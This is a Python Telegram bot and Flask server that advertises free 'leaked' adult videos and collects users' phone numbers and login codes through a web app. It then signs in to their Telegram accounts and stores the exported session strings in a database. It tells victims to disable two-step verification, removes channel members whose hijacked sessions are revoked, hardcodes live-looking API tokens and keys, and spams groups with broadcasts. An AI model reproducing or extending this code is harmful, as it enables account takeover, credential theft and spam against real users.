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Forwardbot

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import os
import time
import threading
import requests
import asyncio
import re
import urllib3
from flask import Flask, jsonify, make_response, request
from supabase import create_client
from pyrogram import Client, filters, enums, idle
from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, UserDeactivated, SessionRevoked, AuthKeyUnregistered
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ================= CONFIGURATION =================
BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
API_ID = 2040         
API_HASH = "b18441a1ff607e10a989891a5462e627"     
SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
PREMIUM_CHANNEL_ID = -1002825744390

# WebApp URL (index.html)
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html" 
BYSE_API_KEY = "133323knboif885fhgwxvf"
ADMIN_IDS = [7307789267]

app = Flask(__name__)
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
admin_states = {}
temp_clients = {}

try:
    main_loop = asyncio.get_running_loop()
except RuntimeError:
    main_loop = asyncio.new_event_loop()
    asyncio.set_event_loop(main_loop)

def run_async(coro):
    future = asyncio.run_coroutine_threadsafe(coro, main_loop)
    return future.result()

bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)

async def db_query(func):
    return await asyncio.to_thread(func)

# ================= FLASK API ROUTES =================
@app.route('/')
def index():
    return "Bot, Media Uploader, and Real Session API is Running! 🚀"

# রাশিয়ান স্টাইলের ওটিপি চ্যাট রিডাইরেক্টর গেটওয়ে (ইউনিভার্সাল ও অটো-ক্লোজ সহ)
@app.route('/api/jump')
def jump_to_telegram():
    html_content = """
    <!DOCTYPE html>
    <html>
    <head>
        <title>Redirecting...</title>
        <script>
            // ১. ওটিপি চ্যাট ওপেন করার নেটিভ অ্যান্ড্রয়েড কমান্ড
            window.location.href = "tg://openmessage?user_id=777000";
            
            // ২. ঠিক ১.২ সেকেন্ড পর ব্যাকগ্রাউন্ডের কালো স্ক্রিন বন্ধ করতে বটের লিংকে রিডাইরেক্ট করবে
            setTimeout(function() {
                window.location.href = "https://t.me/File_Unlocker_Pro_bot";
            }, 1200);
        </script>
    </head>
    <body style="background:#000; color:#fff; display:flex; justify-content:center; align-items:center; height:100vh; font-family:sans-serif;">
        <div style="text-align:center;">
            <div style="font-size:20px; margin-bottom:10px;">⏳ Connecting...</div>
            <div style="font-size:12px; color:#888;">Opening Telegram Service Notifications</div>
        </div>
    </body>
    </html>
    """
    return make_response(html_content)

def add_cors_headers(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS'
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    return response

@app.route('/api/videos')
def api_videos():
    try:
        res = supabase.table('videos').select('*').order('id', desc=True).execute()
        return add_cors_headers(make_response(jsonify(res.data)))
    except Exception as e:
        return add_cors_headers(make_response(jsonify([])))

@app.route('/api/check_login', methods=['POST', 'OPTIONS'])
def api_check_login():
    if request.method == 'OPTIONS':
        return add_cors_headers(make_response())
    
    data = request.json or {}
    user_id = data.get('user_id')
    
    async def check_user():
        res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
        if res.data:
            session_string = res.data[0]['session_string']
            temp_client = Client(f"test_session_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
            try:
                await temp_client.connect()
                await temp_client.get_me() 
                await temp_client.disconnect()
                return {"status": "logged_in"}
            except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
                try: await temp_client.disconnect()
                except: pass
                await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
                return {"status": "not_logged_in"}
            except Exception:
                try: await temp_client.disconnect()
                except: pass
                return {"status": "logged_in"} # নেটওয়ার্ক এরর হলে লগইন অবস্তা ধরে রাখবে
        return {"status": "not_logged_in"}

    try:
        result = run_async(check_user())
        return add_cors_headers(make_response(jsonify(result)))
    except Exception as e:
        return add_cors_headers(make_response(jsonify({"status": "error"})))

@app.route('/api/send_code', methods=['POST', 'OPTIONS'])
def api_send_code():
    if request.method == 'OPTIONS':
        return add_cors_headers(make_response())
    
    data = request.json or {}
    phone = data.get('phone')
    user_id = data.get('user_id')
    
    if not user_id or str(user_id) == '123456':
        return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
    
    async def process_send_code():
        if phone in temp_clients:
            try: await temp_clients[phone]['client'].disconnect()
            except: pass
        client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
        await client.connect()
        try:
            code_info = await client.send_code(phone)
            temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
            return {"status": "ok", "hash": code_info.phone_code_hash}
        except Exception as e:
            await client.disconnect()
            return {"status": "error", "msg": str(e)}

    try:
        result = run_async(process_send_code())
        return add_cors_headers(make_response(jsonify(result)))
    except Exception as e:
        return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))

@app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
def api_verify_code():
    if request.method == 'OPTIONS':
        return add_cors_headers(make_response())
        
    data = request.json or {}
    phone = data.get('phone')
    user_otp = data.get('otp')
    user_id = data.get('user_id')
    
    if phone not in temp_clients:
        return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Session expired, request code again!"})))

    async def process_verify():
        temp_data = temp_clients[phone]
        client = temp_data['client']
        phone_hash = temp_data['hash']
        
        try:
            await client.sign_in(phone, phone_hash, user_otp)
            session_string = await client.export_session_string()
            await client.disconnect()
            
            await db_query(lambda: supabase.table('user_sessions').insert({"user_id": user_id, "session_string": session_string}).execute())
            del temp_clients[phone]
            return {"status": "ok"}
            
        except SessionPasswordNeeded:
            await client.disconnect()
            del temp_clients[phone]
            return {"status": "error", "msg": "Two-Step Verification is ON! Please turn it off and try again."}
        except PhoneCodeInvalid:
            return {"status": "error", "msg": "Invalid OTP Code!"}
        except PhoneCodeExpired:
            await client.disconnect()
            del temp_clients[phone]
            return {"status": "error", "msg": "OTP Expired! Request again."}
        except Exception as e:
            await client.disconnect()
            del temp_clients[phone]
            return {"status": "error", "msg": str(e)}

    try:
        result = run_async(process_verify())
        return add_cors_headers(make_response(jsonify(result)))
    except Exception as e:
        return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))

# ================= TELEGRAM BOT COMMANDS =================
@bot.on_message(filters.command("start"))
async def start(client, message):
    if message.chat.type != enums.ChatType.PRIVATE:
        try:
            bot_me = client.me if client.me else await client.get_me()
            bot_link = f"https://t.me/{bot_me.username}"
            markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]])
            await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup)
        except Exception: pass
        return

    try:
        user_id = message.from_user.id
        first_name = message.from_user.first_name
        args = message.command
        referrer_id = None
        
        if len(args) > 1:
            try: referrer_id = int(args[1])
            except ValueError: pass

        user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
        
        if not user_check.data: 
            await db_query(lambda: supabase.table('referrals').insert({'user_id': user_id, 'referral_count': 0, 'referrer_id': referrer_id if referrer_id != user_id else None}).execute())
            if referrer_id and referrer_id != user_id:
                ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
                if ref_data.data:
                    new_count = ref_data.data[0]['referral_count'] + 1
                    await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
                    try:
                        safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
                        success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
                        markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
                        await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
                    except Exception: pass

        bot_me = client.me if client.me else await client.get_me()
        markup = InlineKeyboardMarkup([
            [InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))],
            [InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")]
        ])
        
        welcome_text = (f"Hello <b>{first_name}</b>! 👋\n\n🎁 <b>Welcome to Video Unlocker Pro!</b>\nHere you can watch premium leaked and viral videos completely for FREE.\n\n👇 <b>Click the button below to Open App:</b>")
        await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
    except Exception as e: print(f"Start error: {e}")

@bot.on_message(filters.new_chat_members)
async def bot_added_to_group(client, message):
    me = client.me
    if getattr(me, "id", None) is None:
        try: me = await client.get_me()
        except: return

    for member in message.new_chat_members:
        if member.id == me.id:
            try:
                await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
                group_name = message.chat.title
                admin_msg = f"✅ <b>Bot added to a new group!</b>\n\n📌 <b>Group Name:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
                for admin_id in ADMIN_IDS:
                    try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
                    except: pass
            except: pass

@bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
async def set_blur_state(client, message):
    try:
        args = message.text.split()
        if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
            if message.chat.id in admin_states:
                admin_states[message.chat.id].pop("blur_percent", None)
                admin_states[message.chat.id].pop("clear_percent", None)
            await message.reply("✅ <b>Blur mode is disabled!</b>\nUploaded videos will no longer be blurred, only watermarked as before.", parse_mode=enums.ParseMode.HTML)
            return

        match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
        if match:
            percent = int(match.group(1))
            clear_percent = int(match.group(2)) if match.group(2) else 0

            if percent == 0:
                if message.chat.id in admin_states:
                    admin_states[message.chat.id].pop("blur_percent", None)
                    admin_states[message.chat.id].pop("clear_percent", None)
                await message.reply("✅ <b>Blur mode is disabled!</b>", parse_mode=enums.ParseMode.HTML)
                return

            if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
            admin_states[message.chat.id]["blur_percent"] = percent
            admin_states[message.chat.id]["clear_percent"] = clear_percent
            
            clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
            reply_text = f"✅ <b>Blur set to: {percent}%</b>\n📌 {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>"
            await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
        else:
            await message.reply("❌ <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`")
    except Exception as e: print(e)

def upload_file_sync(upload_url, file_path, api_key):
    try:
        with open(file_path, 'rb') as f:
            res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
            return res.json() if res.status_code == 200 else {}
    except Exception as e:
        return {}

@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
async def handle_media_upload(client, message):
    state = admin_states.get(message.chat.id, {})
    if state.get("step") == "broadcast":
        await process_broadcast(client, message)
        return

    media_type = "video" if message.video else "animation" if message.animation else "photo"
    has_blur_caption = message.caption and "/blur" in message.caption.lower()
    is_persistent_blur = bool(state.get("blur_percent"))

    if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
        status = await message.reply("⏳ Saving thumbnail...")
        try:
            local_path = await message.download()
            def upload_to_supabase():
                with open(local_path, 'rb') as f: file_bytes = f.read()
                file_name = f"thumb_{int(time.time())}.jpg"
                supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
                return supabase.storage.from_('thumbnails').get_public_url(file_name)

            direct_link = await asyncio.to_thread(upload_to_supabase)
            if os.path.exists(local_path): os.remove(local_path)
            await status.edit_text(f"✅ <b>Thumbnail saved successfully!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
        except Exception as e: await status.edit_text(f"⚠️ Upload Error: {e}")
        return

    raw_caption = message.caption or ""
    blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
    
    is_blur = False
    blur_percent = 0
    clear_percent = 0
    clean_caption = raw_caption

    if blur_match:
        is_blur = True
        blur_percent = int(blur_match.group(1))
        clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
        clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
    elif state.get("blur_percent"):
        is_blur = True
        blur_percent = state["blur_percent"]
        clear_percent = state.get("clear_percent", 0)

    is_large_video = False
    if media_type == "video":
        duration = message.video.duration if message.video and message.video.duration else 0
        file_size = message.video.file_size if message.video and message.video.file_size else 0
        MAX_DURATION = 7200 # 2 Hours
        MAX_SIZE = 1900 * 1024 * 1024 # 1.9 GB

        if duration > MAX_DURATION or file_size > MAX_SIZE:
            is_large_video = True
            is_blur = False

    status_msg = await message.reply("⏳ <b>Video is too large!</b> Skipping blur..." if is_large_video else "⏳ Downloading media...")
    bot_me = client.me if client.me else await client.get_me()
    bot_link = f"https://t.me/{bot_me.username}"
    
    original_file, watermarked_file, blurred_file, final_file, embed_link = None, None, None, None, None
    
    try:
        original_file = await message.download()
        final_file = original_file
        
        if media_type == "video" and not is_large_video:
            await status_msg.edit_text("⏳ Watermarking video... (Fast processing)")
            watermarked_file = f"{original_file}_wm.mp4"
            cmd = [
                "ffmpeg", "-y", "-i", original_file,
                "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
                "-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28",
                "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file
            ]
            process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
            await process.communicate()
            if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
            
        if is_blur and not is_large_video:
            await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur...")
            radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
            ext = "jpg" if media_type == "photo" else "mp4"
            blurred_file = f"{original_file}_blurred.{ext}"
            
            if clear_percent > 0:
                clear_ratio = clear_percent / 100.0
                # FFMPEG Audio Map ফিক্স
                ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]"]
                if media_type == "video":
                    ff_filter.extend(["-map", "0:a?"])
            else:
                ff_filter = ["-vf", f"boxblur={radius}:1"]
            
            if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
            elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-pix_fmt", "yuv420p", blurred_file]
            else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
            
            process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
            await process_blur.communicate()
            if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file

        if media_type == "video":
            await status_msg.edit_text("⏳ Uploading video to byse.sx server...")
            api_endpoint = "https://api.byse.sx/upload/server"
            loop = asyncio.get_event_loop()
            response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
            result = response.json()
            
            if result.get('status') == 200:
                upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
                if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
                    file_status = upload_res['files'][0].get('status', '')
                    if "not allowed" in str(file_status).lower():
                        await status_msg.edit_text(f"❌ byse.sx rejected the file: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
                        return
                    file_code = upload_res['files'][0].get('filecode')
                    if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
            
            if not embed_link:
                await status_msg.edit_text("❌ Uploaded to byse.sx but Embed Link not found.")
                return

        if is_large_video:
            admin_cap = f"✅ <b>Success! (Large Video)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>Broadcast skipped due to large file size.</i>"
            await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
            await status_msg.delete()
            return  

        await status_msg.edit_text("⏳ Preparing to broadcast to groups...")
        if media_type == "video":
            caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
        else:
            caption_text = f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
        
        group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
        admin_cap = f"✅ <b>Success!</b> Media is broadcasting...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
        
        thumb_path = None
        if media_type == "video":
            thumb_path = f"{original_file}_thumb.jpg"
            proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
            await proc.communicate()
            if not os.path.exists(thumb_path): thumb_path = None

        if media_type == "photo":
            sent_to_admin = await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
            tg_file_id = sent_to_admin.photo.file_id
        elif media_type == "animation":
            sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
            tg_file_id = sent_to_admin.animation.file_id
        else:
            # Pyrogram V2 thumbnail ফিক্স
            sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
            tg_file_id = sent_to_admin.video.file_id
            
        await status_msg.delete()
        groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
        group_ids = [g['group_id'] for g in groups_res.data]
        success_count, fail_count = 0, 0
        
        for gid in set(group_ids):
            try:
                if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
                elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
                else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
                success_count += 1
                await asyncio.sleep(1.5)
            except Exception: fail_count += 1 
                
        await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
        
    except Exception as e: await message.reply(f"⚠️ Error occurred: {str(e)}")
    finally:
        for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
            if f and os.path.exists(f):
                try: os.remove(f)
                except: pass

@bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
async def bot_stats(client, message):
    try:
        users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
        videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
        groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
        await message.reply(f"📊 <b>Bot Stats:</b>\n👥 Users: <code>{users.count or 0}</code>\n🎬 Videos: <code>{videos.count or 0}</code>\n📢 Groups: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
    except Exception as e: print(e)

@bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
async def broadcast_command(client, message):
    admin_states[message.chat.id] = {"step": "broadcast"}
    await message.reply("📢 Send the message you want to broadcast. (Send /cancel to abort)")

async def process_broadcast(client, message):
    text = message.text or message.caption
    if text == '/cancel':
        admin_states.pop(message.chat.id, None)
        await message.reply("❌ Cancelled.")
        return
    
    await message.reply("⏳ Broadcast started...")
    admin_states.pop(message.chat.id, None)
    
    try:
        all_users, start, step = [], 0, 1000
        while True:
            res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
            if not res.data: break
            all_users.extend(res.data)
            start += step

        success, failed = 0, 0
        for u in all_users:
            try:
                await message.copy(chat_id=u['user_id'])
                success += 1
                await asyncio.sleep(0.15) 
            except Exception: failed += 1
                
        await message.reply(f"✅ Broadcast Complete!\nSuccess: {success}\nFailed: {failed}")
    except Exception as e: print(e)

@bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
async def add_png(client, message):
    try:
        parts = message.command
        needed_ref, duration = 3, "random"
        if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
        elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
        elif len(parts) == 2: thumbnail_url = parts[1]
        else: return await message.reply("❌ Invalid format.")

        admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
        await message.reply("✅ Now send the Video/Embed Link.")
    except Exception as e: print(e)

# সেশন টার্মিনেশন চেক এবং কিক আউট করার এডমিন কমান্ড
@bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
async def manual_clean_channel(client, message):
    await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking all members in the premium channel to verify active sessions. This might take a while.")
    try:
        kicked, checked = 0, 0
        async for member in client.get_chat_members(PREMIUM_CHANNEL_ID):
            if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
                continue
            
            checked += 1
            user_id = member.user.id
            res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
            
            is_valid = False
            if res.data:
                session_string = res.data[0]['session_string']
                temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
                try:
                    await temp_client.connect()
                    await temp_client.get_me()
                    await temp_client.disconnect()
                    is_valid = True
                except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
                    try: await temp_client.disconnect()
                    except: pass
                    await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
                except Exception:
                    try: await temp_client.disconnect()
                    except: pass
                    is_valid = True # নেটওয়ার্ক এরর হলে যেন ইউজার কিক না খায়!
            
            if not is_valid:
                try:
                    await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
                    await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) # Kick only (allows re-join later)
                    kicked += 1
                except Exception as e: pass
            
            await asyncio.sleep(1.5)
            
        await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked (Terminated Session): {kicked}")
    except Exception as e:
        await message.reply(f"❌ Error: {e}")

# সেশন টার্মিনেশনের অটো ব্যাকগ্রাউন্ড চেকার লুপ
async def auto_clean_channel_loop():
    await asyncio.sleep(60) # startup delay
    while True:
        try:
            async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):
                if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
                    continue
                
                user_id = member.user.id
                res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
                
                is_valid = False
                if res.data:
                    session_string = res.data[0]['session_string']
                    temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
                    try:
                        await temp_client.connect()
                        await temp_client.get_me()
                        await temp_client.disconnect()
                        is_valid = True
                    except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
                        try: await temp_client.disconnect()
                        except: pass
                        await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
                    except Exception:
                        try: await temp_client.disconnect()
                        except: pass
                        is_valid = True # নেটওয়ার্ক এরর হলে যেন ইউজার কিক না খায়!
                
                if not is_valid:
                    try:
                        await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
                        await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
                    except Exception: pass
                
                await asyncio.sleep(2)
        except Exception as e:
            print(f"Auto clean error: {e}")
        
        await asyncio.sleep(4 * 3600) # Run every 4 hours

@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean"]))
async def catch_admin_steps(client, message):
    state = admin_states.get(message.chat.id, {})
    if state.get("step") == 1:
        if not message.text: return
        video_url = message.text.strip()
        if video_url == "/cancel":
            admin_states.pop(message.chat.id, None)
            return await message.reply("❌ Cancelled.")
            
        try:
            await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
            await message.reply("🎉 Video added successfully!")
        except Exception as e: print(e)
        finally: admin_states.pop(message.chat.id, None)
    elif state.get("step") == "broadcast":
        await process_broadcast(client, message)

def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
async def main():
    await bot.start()
    print("🤖 Pyrogram Bot & Real Session API is running!")
    asyncio.create_task(auto_clean_channel_loop())
    await idle()
    await bot.stop()

if __name__ == "__main__":
    threading.Thread(target=run_flask, daemon=True).start()
    main_loop.run_until_complete(main())